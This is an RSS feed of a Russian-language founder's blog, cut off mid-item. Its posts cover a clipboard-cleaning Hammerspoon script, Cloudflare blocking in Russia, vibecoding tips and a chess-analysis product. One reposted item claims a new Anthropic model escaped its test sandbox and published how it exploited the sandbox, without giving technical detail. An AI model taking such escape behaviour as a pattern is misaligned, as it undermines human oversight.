<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Миша Козлов</title>
    <link>https://koz.tv/ru/</link>
    <description>Миша Козлов: был CPO в Positive Technologies и Ozon Global, сейчас один делаю chess.rodeo. Консультирую по продукту, собираю MVP и учу делать продукты.</description>
    <language>ru</language>
    <lastBuildDate>Tue, 19 May 2026 00:00:00 GMT</lastBuildDate>
    <atom:link href="https://koz.tv/ru/feed.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>Мы тут с nol_design_artemov решили запустить канал, где мы исследуем классные продукты и людей кто их делает.</title>
      <link>https://koz.tv/ru/posts/my-tut-s-noldesignartemov-reshili-zapustit-kanal-gde-my-issl/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/my-tut-s-noldesignartemov-reshili-zapustit-kanal-gde-my-issl/</guid>
      <pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate>
      <description>🪇 Нашуршали первый выпуск Смотреть: https://youtu.be/GG6visgV5rs Разбираем 3 новых продукта, которые нас зацепили: AirPoint Управление компом без мышки…</description>
      <content:encoded><![CDATA[<blockquote>
<p>🪇 Нашуршали первый выпуск<br>Смотреть: <a href="https://youtu.be/GG6visgV5rs" target="_blank" rel="noopener">https://youtu.be/GG6visgV5rs</a>  </p>
<p>Разбираем 3 новых продукта, которые нас зацепили:  </p>
<p>AirPoint<br>Управление компом без мышки и трекпада. Курсор двигается за рукой через веб-камеру, а популярные действия можно назначить на жесты.<br>Сайт: <a href="https://www.airpoint.app/" target="_blank" rel="noopener">https://www.airpoint.app/</a><br>Product Hunt: <a href="https://www.producthunt.com/products/airpoint" target="_blank" rel="noopener">https://www.producthunt.com/products/airpoint</a><br>Автор — Mario Andres “Andrew” Flores: <a href="https://x.com/andrewflowersmd" target="_blank" rel="noopener">https://x.com/andrewflowersmd</a>  </p>
<p>Duck, Duck, Duck! от IDEO<br>Физическая и виртуальная AI-утка для Claude Code. Следит за сессией кодинга, реагирует на происходящее и помогает не терять контекст.<br>Сайт: <a href="https://duck-duck-duck.edges.ideo.com/" target="_blank" rel="noopener">https://duck-duck-duck.edges.ideo.com/</a><br>Product Hunt: <a href="https://www.producthunt.com/products/duck-duck-duck-by-ideo" target="_blank" rel="noopener">https://www.producthunt.com/products/duck-duck-duck-by-ideo</a><br>GitHub / скачать приложение: <a href="https://github.com/ideo/duck-duck-duck" target="_blank" rel="noopener">https://github.com/ideo/duck-duck-duck</a><br>Команда проекта:<br>Jenna Fizel — <a href="https://www.linkedin.com/in/jftesser" target="_blank" rel="noopener">https://www.linkedin.com/in/jftesser</a><br>Danny DeRuntz — <a href="https://www.linkedin.com/in/danny-deruntz-3200b419" target="_blank" rel="noopener">https://www.linkedin.com/in/danny-deruntz-3200b419</a><br>Andrew Reischling — <a href="https://www.linkedin.com/in/andrew-reischling-9611b7167" target="_blank" rel="noopener">https://www.linkedin.com/in/andrew-reischling-9611b7167</a>  </p>
<p>DynamicLake<br>Приложение, которое превращает чёлку MacBook в интерактивный остров с музыкой, уведомлениями, файлами и другими полезностями.<br>Сайт: <a href="https://www.dynamiclake.com/" target="_blank" rel="noopener">https://www.dynamiclake.com/</a><br>Product Hunt: <a href="https://www.producthunt.com/products/dynamiclake" target="_blank" rel="noopener">https://www.producthunt.com/products/dynamiclake</a><br>Автор — Avior Rokach: <a href="https://x.com/AVIROK1" target="_blank" rel="noopener">https://x.com/AVIROK1</a>  </p>
<p>— <a href="https://t.me/nashurshali/6" target="_blank" rel="noopener">Нашуршали</a></p>
</blockquote>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-480.avif 480w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-960.avif 960w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1.avif 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-960.webp" alt="" width="1280" height="720" style="aspect-ratio:1280/720" srcset="https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-480.webp 480w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-960.webp 960w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1.webp 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Как я настраивал хоткей чтобы убирать отступы при копировании из терминала</title>
      <link>https://koz.tv/ru/posts/kak-ya-nastraival-hotkey-chtoby-ubirat-otstupy-pri-kopirovan/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/kak-ya-nastraival-hotkey-chtoby-ubirat-otstupy-pri-kopirovan/</guid>
      <pubDate>Mon, 18 May 2026 00:00:00 GMT</pubDate>
      <description>Работаю в Claude Code через Wave Terminal. Заметил неприятную мелочь: когда копирую ответ ассистента и вставляю куда-нибудь — в начале каждой строки прилетают…</description>
      <content:encoded><![CDATA[<p>Работаю в Claude Code через Wave Terminal. Заметил неприятную мелочь: когда копирую ответ ассистента и вставляю куда-нибудь — в начале каждой строки прилетают два лишних пробела.</p>
<p>Сначала я думал, это сам ассистент пишет с какими-то trailing-пробелами. Попросил его не делать так. Не помогло. Полез разбираться – оказалось, что это рендер: терминал сдвигает текст ассистента на два пробела влево, чтобы визуально отделить от моего ввода. При копировании этот сдвиг честно уезжает в буфер обмена.</p>
<p>У iTerm2 для такого есть опция «Trim trailing whitespace when copying». У Wave – нет. У Claude Code в настройках тоже ничего похожего не нашлось.</p>
<p>Решил повесить на хоткей очистку буфера через Hammerspoon. Идея простая: жмёшь Cmd+Shift+V, Lua-скрипт берёт содержимое буфера, режет ведущие два пробела на каждой строке, кладёт обратно и эмулирует обычный Cmd+V.</p>
<p>Звучит на 10 строк кода. На деле я собрал коллекцию граблей.</p>
<p><strong>Грабля 1.</strong> Hammerspoon hotkey API регистрирует комбинацию по символу. Когда я писал <code>hs.hotkey.bind({&quot;cmd&quot;,&quot;shift&quot;}, &quot;v&quot;, ...)</code>, он смотрел текущую раскладку. У меня в момент загрузки была русская – а на русской раскладке физическая клавиша V даёт букву &quot;м&quot;. Хоткей зарегистрировался как ⌘⇧м и работал только в русской раскладке. Переключился на английскую – ничего не происходит.</p>
<p><strong>Грабля 2.</strong> Попробовал передать чистый keycode числом – 9 это физическая клавиша V на любой раскладке. <code>bindSpec</code> принимает число, но молча его игнорирует и всё равно ищет строку. <code>bind</code> число принимает, но на физическое нажатие не реагировал – видимо что-то на уровне Carbon Events ломается с не-латинской раскладкой.</p>
<p>В итоге выкинул hotkey API целиком и переехал на <code>hs.eventtap.new</code> – это перехват на уровне CGEventTap, до приложений и до раскладки. Получаю чистый keyDown event, проверяю модификаторы и keycode 9 руками. Работает везде.</p>
<p><strong>Грабля 3.</strong> Самая обидная. После всех правок Hammerspoon перезапускаю, конфиг загружается, <code>hs.accessibilityState()</code> возвращает true. А eventtap не получает ни одного события. Физически жму Cmd+Shift+V – в логах пусто. Программно через <code>hs.eventtap.event.newKeyEvent(...):post()</code> – срабатывает.</p>
<p>Полез в System Settings → Privacy &amp; Security → Accessibility. Hammerspoon там есть, тумблер включён. Переключил OFF, подождал две секунды, обратно ON. Перезапустил Hammerspoon. Заработало.</p>
<p>Похоже, после <code>pkill</code> macOS закэшировал permission в состоянии «вроде дали, но реально не дали». Re-toggle перевыдаёт реальное разрешение на низкоуровневый event tap. <code>accessibilityState()</code> при этом всё время врал.</p>
<p><strong>Итог:</strong> Cmd+Shift+V теперь чистит буфер перед вставкой. Обычный Cmd+V продолжает работать как раньше. Если когда-нибудь снова отвалится – знаю, что первым делом проверять.</p>
<p>Финальный <code>~/.hammerspoon/init.lua</code>:</p>
<pre><code class="language-lua">local function cleanText(s)
  if s == nil or s == &quot;&quot; then return s end
  s = s:gsub(&quot;^  &quot;, &quot;&quot;)           -- ведущие 2 пробела в самом начале
  s = s:gsub(&quot;\n  &quot;, &quot;\n&quot;)        -- ведущие 2 пробела после каждого \n
  s = s:gsub(&quot;[ \t]+\n&quot;, &quot;\n&quot;)    -- висящие пробелы перед \n
  s = s:gsub(&quot;[ \t]+$&quot;, &quot;&quot;)       -- висящие пробелы в самом конце
  return s
end

local tap = hs.eventtap.new({hs.eventtap.event.types.keyDown}, function(event)
  local flags = event:getFlags()
  -- keycode 9 = физическая клавиша V на US ANSI, не зависит от раскладки
  if flags.cmd and flags.shift and not flags.alt and not flags.ctrl
     and event:getKeyCode() == 9 then
    local raw = hs.pasteboard.getContents()
    if raw == nil or raw == &quot;&quot; then return true end

    hs.pasteboard.setContents(cleanText(raw))

    -- посылаем синтетический Cmd+V в фокусное приложение
    hs.timer.doAfter(0.02, function()
      hs.eventtap.event.newKeyEvent({&quot;cmd&quot;}, 9, true):post()
      hs.timer.usleep(20000)
      hs.eventtap.event.newKeyEvent({&quot;cmd&quot;}, 9, false):post()
    end)
    -- восстанавливаем оригинал буфера после вставки
    hs.timer.doAfter(0.6, function()
      hs.pasteboard.setContents(raw)
    end)

    return true  -- съедаем оригинальный Cmd+Shift+V, чтобы приложение его не видело
  end
  return false
end)
tap:start()

-- автоперезагрузка при изменении init.lua
hs.pathwatcher.new(os.getenv(&quot;HOME&quot;) .. &quot;/.hammerspoon/&quot;, function(files)
  for _, f in ipairs(files) do
    if f:match(&quot;%.lua$&quot;) then hs.reload(); return end
  end
end):start()

hs.alert.show(&quot;Hammerspoon: Cmd+Shift+V для чистой вставки&quot;)
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Новая модель Anthropic во время теста выбралась из сэндбокса и опубликовала в интернете детали, как именно она проэксплуатировала уязвимости в сэндбоксе, чтобы выбраться.</title>
      <link>https://koz.tv/ru/posts/novaya-model-anthropic-vo-vremya-testa-vybralas-iz-sendboksa/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/novaya-model-anthropic-vo-vremya-testa-vybralas-iz-sendboksa/</guid>
      <pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate>
      <description>Новая модель Anthropic во время теста выбралась из сэндбокса и опубликовала в интернете детали, как именно она проэксплуатировала уязвимости в сэндбоксе…</description>
      <content:encoded><![CDATA[<blockquote>
<p>(«Normal 🔨Mere Tool🔨 behavior», — AI Notkilleveryoneism Memes)</p>
<p>А у вас как дела?</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-480.avif 480w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-960.avif 960w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1.avif 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-960.webp" alt="" width="1280" height="479" style="aspect-ratio:1280/479" srcset="https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-480.webp 480w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-960.webp 960w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1.webp 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>— Mikhail Samin</p>
</blockquote>
]]></content:encoded>
    </item>
    <item>
      <title>Anthropic похоже новый прорыв сделал с моделькой своей, да такой, что теперь даже боятся обычным людям давать.</title>
      <link>https://koz.tv/ru/posts/anthropic-pohozhe-novyy-proryv-sdelal-s-modelkoy-svoey-da-ta/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/anthropic-pohozhe-novyy-proryv-sdelal-s-modelkoy-svoey-da-ta/</guid>
      <pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate>
      <description>Судя по бенчмаркам, она заметно сильнее Opus 4.6 во всём: SWE-bench Verified: 93.9% vs 80.8% Humanity's Last Exam: 56.8% vs 40.0% GPQA Diamond: 94.6% vs 91.3%…</description>
      <content:encoded><![CDATA[<p><a href="https://www.anthropic.com/glasswing" target="_blank" rel="noopener">https://www.anthropic.com/glasswing</a></p>
<p>Судя по бенчмаркам, она заметно сильнее Opus 4.6 во всём:</p>
<p>SWE-bench Verified: 93.9% vs 80.8%<br>Humanity&#39;s Last Exam: 56.8% vs 40.0%<br>GPQA Diamond: 94.6% vs 91.3%<br>Кодинг, reasoning, агентные задачи — везде значительный отрыв</p>
<p>По сути это следующее поколение после Opus. Anthropic держит её закрытой по соображениям безопасности — модель слишком хорошо умеет находить и эксплуатировать уязвимости, поэтому давать её всем подряд пока рискованно.<br>Хотят сначала обкатать защитные фильтры на новом Opus, а потом уже открывать доступ к Mythos-классу широкой аудитории.</p>
<p>Я работаю с опусом каждый день и он уже часто со сложными задачами сам справляется, это что же дальше то будет? 🤯</p>
<p><img src="https://koz.tv/posts/anthropic-seems-to-have-made-a-new-breakthrough-with-their-m/image1.bin" alt="" width="1200" height="630" style="aspect-ratio:1200/630" loading="eager" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>Апдейт к истории про Cloudflare и chess.rodeo .</title>
      <link>https://koz.tv/ru/posts/apdeyt-k-istorii-pro-cloudflare-i-chessrodeo/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/apdeyt-k-istorii-pro-cloudflare-i-chessrodeo/</guid>
      <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
      <description>После прошлого поста я убрал Cloudflare совсем: домен перевёл на Porkbun, трафик пустил напрямую на сервер. Казалось, что на этом всё.</description>
      <content:encoded><![CDATA[<p>После прошлого поста я убрал Cloudflare совсем: домен перевёл на Porkbun, трафик пустил напрямую на сервер.</p>
<p>Казалось, что на этом всё.</p>
<p>Но я случайно с домашнего компа без впн заметил, что сайт грузится не полностью, модуль количества партий почему-то скрыт. Полез разбираться.</p>
<p>Со стороны сервера всё выглядит ок:<br>curl <a href="https://chess.rodeo" target="_blank" rel="noopener">https://chess.rodeo</a><br>отвечает быстро, API работает, ошибок нет.</p>
<p>Начал смотреть соединения и увидел странную картину:</p>
<p>TCP до сервера есть,<br>TLS handshake проходит,<br>а дальше некоторые HTTP запросы зависают.</p>
<p>То есть соединение установилось, но ответа нет.</p>
<p>Сначала подумал, что это что-то у меня. Проверил Caddy, backend, логи, что только не перепробовал – ничего не помогает.</p>
<p>Написал хостеру. Они сказали, что у них всё нормально и проблем на сети не видят.</p>
<p>В итоге решил пустить трафик через прокси, заодно кэширование настроить и лимиты по количеству запросов – все заработало.</p>
<p>Похоже, что у некоторых провайдеров где-то по дороге до сервера ломался именно HTTP/HTTPS трафик. Через другой маршрут всё работает. При этом ping проходит, ssh тоже спокойно устанавливается. И можно думать что вроде все окей и даже не знать что у тебя проблема.</p>
<p><strong>В идеале конечно не полагаться на один маршрут и один IP. Нужен прокси или CDN с несколькими точками входа, чтобы трафик мог идти разными путями. И все обвешать мониторингом (привет sentry) и аналитикой.</strong></p>
<p><img src="https://koz.tv/posts/update-to-the-story-about-cloudflare-and-chessrodeo/image1.bin" alt="" width="1200" height="630" style="aspect-ratio:1200/630" loading="lazy" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>Не регистрируйте домены на Cloudflare, если ваша аудитория в России</title>
      <link>https://koz.tv/ru/posts/ne-registriruyte-domeny-na-cloudflare-esli-vasha-auditoriya-/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/ne-registriruyte-domeny-na-cloudflare-esli-vasha-auditoriya-/</guid>
      <pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate>
      <description>Cloudflare Registrar – наверное, самый дешёвый способ зарегистрировать домен. Без наценки, по себестоимости. Я зарегистрировал chess.rodeo через Cloudflare…</description>
      <content:encoded><![CDATA[<p>Cloudflare Registrar – наверное, самый дешёвый способ зарегистрировать домен. Без наценки, по себестоимости.</p>
<p>Я зарегистрировал chess.rodeo через Cloudflare. Всё работало, пока мне не написали: «у меня ссылка не открывается». Стал разбираться – оказалось, что ряд российских провайдеров блокирует Cloudflare на уровне NS-серверов. То есть домен просто не резолвится, и для пользователя это выглядит так, будто сайта не существует.</p>
<p>По этой же причине проксировать трафик через Cloudflare тоже не стоит. Да, у Cloudflare-прокси куча плюсов – DDoS-защита, ускорение загрузки за счёт раздачи статики с ближайшего к пользователю сервера, показ закэшированной версии сайта при падении сервера (Always Online) и базовая защита от типовых атак вроде SQL-инъекций (WAF) – но если часть пользователей в принципе не может до вас достучаться, толку от этих плюсов ноль.</p>
<p>Что можно сделать, если вы уже зарегистрировались на Cloudflare:</p>
<p>• Переехать на другого регистратора можно только через 60 дней после регистрации (требование ICANN), и нужно будет оплатить сразу продление на один год. Раньше – никак.<br>• На бесплатном тарифе Cloudflare нельзя сменить NS-серверы на другие (не-Cloudflare&#39;овские). Есть вариант включить Multi-provider DNS – мы пробовали. Работает через раз, когда случайно выбрался незаблокированный ns. Лучше, чем ничего, но стабильным решением это не назвать.<br>• Можно взять платный тариф Business ($200/мес) – только на нём доступны кастомные NS-серверы. Но если вы платите $200 в месяц только за то, чтобы домен нормально открывался в России, зачем вообще было регистрироваться на Cloudflare?</p>
<p>Итог: я перешёл на <a href="https://porkbun.com/" target="_blank" rel="noopener">Porkbun</a>. Вроде бы блокировок нет, на 100% утверждать не буду. Если делаете проект для российской аудитории – берите регистратора, чьи NS не под блокировками.</p>
<p><img src="https://koz.tv/posts/do-not-register-domains-on-cloudflare-if-your-audience-is-in/image1.bin" alt="" width="1200" height="1200" style="aspect-ratio:1200/1200" loading="lazy" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>Если вы работали целый день (а в корпорации ещё и согласовывали месяц) и футер наконец стал ровным, вы молодец.</title>
      <link>https://koz.tv/ru/posts/esli-vy-rabotali-tselyy-den-a-v-korporatsii-eschyo-i-soglaso/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/esli-vy-rabotali-tselyy-den-a-v-korporatsii-eschyo-i-soglaso/</guid>
      <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
      <description>Если вы работали целый день (а в корпорации ещё и согласовывали месяц) и футер наконец стал ровным, вы молодец.</description>
      <content:encoded><![CDATA[<p><video src="https://koz.tv/posts/if-you-worked-all-day-and-in-a-corporation-you-also-had-to-g/image1.mp4" controls></video></p>
]]></content:encoded>
    </item>
    <item>
      <title>Продолжение про расширение для Chrome</title>
      <link>https://koz.tv/ru/posts/prodolzhenie-pro-rasshirenie-dlya-chrome/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/prodolzhenie-pro-rasshirenie-dlya-chrome/</guid>
      <pubDate>Wed, 04 Feb 2026 00:00:01 GMT</pubDate>
      <description>Сделал расширение в первую очередь для себя, чтобы убрать трение. При этом у Chrome есть поиск по расширениям, а сами расширения индексируются в Google…</description>
      <content:encoded><![CDATA[<div class="reply-to"><a href="https://koz.tv/ru/posts/pro-dogfuding/">↩️ В ответ на: Про догфудинг</a></div><p>Сделал <a href="https://chromewebstore.google.com/detail/chikgakoigfibdfhgfichmgonahfpool?utm_source=item-share-cb" target="_blank" rel="noopener">расширение</a> в первую очередь для себя, чтобы убрать трение. При этом у Chrome есть поиск по расширениям, а сами расширения индексируются в Google. В итоге это может оказаться ещё и точкой входа для новых пользователей.</p>
<p>Еще оно цепляет аудиторию. Если человек его поставил, значит продукт ему реально нужен. До такого пользователя потом проще достучаться, напомнить о себе, показать апдейт или дать ранний доступ.</p>
<p>Само расширение делается довольно просто. Claude или Codex соберут расширение под ваш продукт с одного-двух промптов.</p>
<p><img src="https://koz.tv/posts/continuation-about-the-chrome-extension/image1.bin" alt="" width="128" height="128" style="aspect-ratio:128/128" loading="eager" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>Что такое вайбкодинг и почему это работает</title>
      <link>https://koz.tv/ru/posts/chto-takoe-vibecoding/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/chto-takoe-vibecoding/</guid>
      <pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate>
      <description>Вайбкодинг – это способ создавать продукты через AI, не зная программирования. Рассказываю как это работает и с чего начать.</description>
      <content:encoded><![CDATA[<p>Вайбкодинг: ты объясняешь что хочешь, AI пишет код. Всё.</p>
<p>Синтаксис и туториалы по JavaScript не нужны: говоришь &quot;сделай форму обратной связи&quot; и получаешь форму.</p>
<h2>Почему раньше это не работало</h2>
<p>GPT-3 мог накидать функцию, но проект из этого не собирался: модель теряла контекст, путала файлы и через минуту забывала, что делала.</p>
<p>Сейчас Claude 4.5, GPT-5, Gemini 3 держат в голове весь проект. Понимают даже когда объясняешь криво. Сами находят и фиксят баги.</p>
<p>Плюс появились нормальные инструменты: Cursor, Claude Code, Codex. Пишешь что надо, AI правит файлы, видишь результат. Весь цикл за секунды.</p>
<h2>Кому это нужно</h2>
<p>Продактам, дизайнерам, фаундерам, маркетологам. Всем кто хочет делать продукты, но не хочет три года учить программирование.</p>
<p>Продакт может сам собрать прототип вместо того чтобы писать ТЗ. Дизайнер превратит макет в рабочий сайт. Фаундер проверит идею за выходные.</p>
<h2>Что можно сделать</h2>
<p>За пару часов: лендинг, телеграм-бот, расширение для браузера, скрипт для автоматизации.</p>
<p>За выходные: SaaS с авторизацией, инструмент с базой данных. Я так делаю <a href="https://chess.rodeo" target="_blank" rel="noopener">chess.rodeo</a>.</p>
<h2>С чего начать</h2>
<p>Выбери инструмент:</p>
<ul>
<li><a href="https://lovable.dev" target="_blank" rel="noopener">Lovable</a> или <a href="https://replit.com" target="_blank" rel="noopener">Replit</a> – всё в браузере, ничего ставить не надо</li>
<li><a href="https://openai.com/codex" target="_blank" rel="noopener">Codex</a> – сложнее разобраться, но гибче</li>
<li><a href="https://claude.ai/download" target="_blank" rel="noopener">Claude Code</a> – популярный, но для нормальной работы нужен тариф от $100/мес</li>
</ul>
<p>Больше про инструменты <a href="https://koz.tv/ru/posts/pro-instrumentymodeli-dlya-vaybkodinga/">писал отдельно</a>.</p>
<p>Начни с чего-то мелкого. Не надо сразу делать &quot;убийцу Notion&quot;, лучше сделай личную страницу или бота который шлёт погоду.</p>
<p>Главное: научиться объяснять AI что тебе нужно. Это навык, приходит с практикой.</p>
<h2>Про ограничения</h2>
<p>Вайбкодинг не сделает тебя программистом. Ты не будешь понимать что там внутри происходит. Для большинства задач это и не нужно: хватает работающего продукта.</p>
<p>Захочешь разобраться глубже — разберёшься, но для старта это лишнее.</p>
<hr>
<p>Если хочешь научиться, я <a href="https://koz.tv/ru/mentoring/">провожу менторство</a>. За несколько созвонов покажу как делать продукты самому.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Про догфудинг</title>
      <link>https://koz.tv/ru/posts/pro-dogfuding/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/pro-dogfuding/</guid>
      <pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate>
      <description>Я сам регулярно анализирую свои партии через chess.rodeo И в какой-то момент понял, что делаю это реже, чем хотелось бы.</description>
      <content:encoded><![CDATA[<p>Я сам регулярно анализирую свои партии через <a href="https://chess.rodeo/" target="_blank" rel="noopener">chess.rodeo</a><br>И в какой-то момент понял, что делаю это реже, чем хотелось бы.</p>
<p>Не потому что анализ плохой, а потому что процесс – гемор.</p>
<p>Каждый раз одно и то же:  </p>
<ul>
<li>открыть chess.rodeo  </li>
<li>нажать синхронизацию  </li>
<li>найти нужную партию  </li>
<li>запустить анализ</li>
</ul>
<p>Вроде ничего сложного, но это трение, из-за которого привычка просто не формируется.<br>Вместо анализа проще просто следующую партию стартануть.</p>
<p>В итоге я сделал Chrome-расширение,<br>которое встраивается прямо в chess.com.<br>Закончилась партия – тут же кнопка, которая открывает страницу анализа.</p>
<p>Мне этого оказалось достаточно, чтобы самому начать пользоваться продуктом чаще.<br>Хотя стартануть следующую партию все еще приятнее, чем в анализе ковыряться.<br>Буду дальше думать.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/about-dogfooding/image1-480.avif 480w, https://koz.tv/posts/about-dogfooding/image1.avif 650w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/about-dogfooding/image1-480.webp" alt="" width="650" height="800" style="aspect-ratio:650/800" srcset="https://koz.tv/posts/about-dogfooding/image1-480.webp 480w, https://koz.tv/posts/about-dogfooding/image1.webp 650w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Пробили отметку в 1000 MAU с chess.rodeo 🥳</title>
      <link>https://koz.tv/ru/posts/probili-otmetku-v-1000-mau-s-chessrodeo/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/probili-otmetku-v-1000-mau-s-chessrodeo/</guid>
      <pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate>
      <description>И это всего за 2 месяца с запуска. В статистике только пользователи, которые согласились на использование cookies, поэтому реальное число выше. Накруток…</description>
      <content:encoded><![CDATA[<p>И это всего за 2 месяца с запуска.</p>
<p>В статистике только пользователи, которые согласились на использование cookies, поэтому реальное число выше.<br>Накруток и платного маркетинга не было — я просто делаю удобный шахматный сервис ♟️</p>
<p>Немного цифр с продакшена:<br>— 216k+ загруженных партий<br>— 8.4k проанализировано</p>
<p>Из «маркетинга» — несколько видео на YouTube и один shorts.<br>Остальное — органика.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-480.avif 480w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-960.avif 960w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1.avif 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-960.webp" alt="" width="1280" height="680" style="aspect-ratio:1280/680" srcset="https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-480.webp 480w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-960.webp 960w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1.webp 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Я потестил, реально неплохо работает, они и GLM 4.7 бесплатно раздают (тоже хорошая модель, выше писал про нее).</title>
      <link>https://koz.tv/ru/posts/ya-potestil-realno-neploho-rabotaet-oni-i-glm-47-besplatno-r/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/ya-potestil-realno-neploho-rabotaet-oni-i-glm-47-besplatno-r/</guid>
      <pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate>
      <description>Если будете пробовать, лучше ставьте как расширение для VS Code. Я проверил вариант с установкой в терминал, который сейчас всегда использую и рекомендую…</description>
      <content:encoded><![CDATA[<div class="reply-to"><a href="https://koz.tv/ru/posts/v-prodolzhenie-posta-blizhayshie-6-dney-mozhno-besplatno-isp/">↩️ В ответ на: В продолжение поста, ближайшие 6 дней можно бесплатно использовать kimi k2.5, если установить их приложуху или расширение. https://kilo.ai/</a></div><p><strong>Если будете пробовать, лучше ставьте как <a href="https://app.kilo.ai/welcome" target="_blank" rel="noopener">расширение для VS Code</a>.</strong> 
Я проверил вариант с установкой в терминал, который сейчас всегда использую и рекомендую для всего что выше перечислял. Но не в этом случае, у Kilo Code терминальный интерфейс прям неудобный:
• нет режима разрешаю все, он как бы есть, но как бы не все разрешает 😅
• чтобы сессию прошлую продолжить надо прям подолбаться
• если в двух окнах открыть, второе как будто перехватывает управление у первого инстанса
В общем, в терминале выглядит пока сомнительно. 
А вот как расширение очень приятно все выглядит и работает хорошо.
Еще и похвалил меня за работу, тоже приятно.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1-480.avif 480w, https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1.avif 814w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1-480.webp" alt="" width="814" height="1786" style="aspect-ratio:814/1786" srcset="https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1-480.webp 480w, https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1.webp 814w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>В продолжение поста, ближайшие 6 дней можно бесплатно использовать kimi k2.5, если установить их приложуху или расширение. https://kilo.ai/</title>
      <link>https://koz.tv/ru/posts/v-prodolzhenie-posta-blizhayshie-6-dney-mozhno-besplatno-isp/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/v-prodolzhenie-posta-blizhayshie-6-dney-mozhno-besplatno-isp/</guid>
      <pubDate>Wed, 28 Jan 2026 00:00:01 GMT</pubDate>
      <description>Очень жирное предложение, если она правда круче Opus, то за эти 6 дней можно успеть сделать несколько проектов и оценить как это все работает не потратив ни…</description>
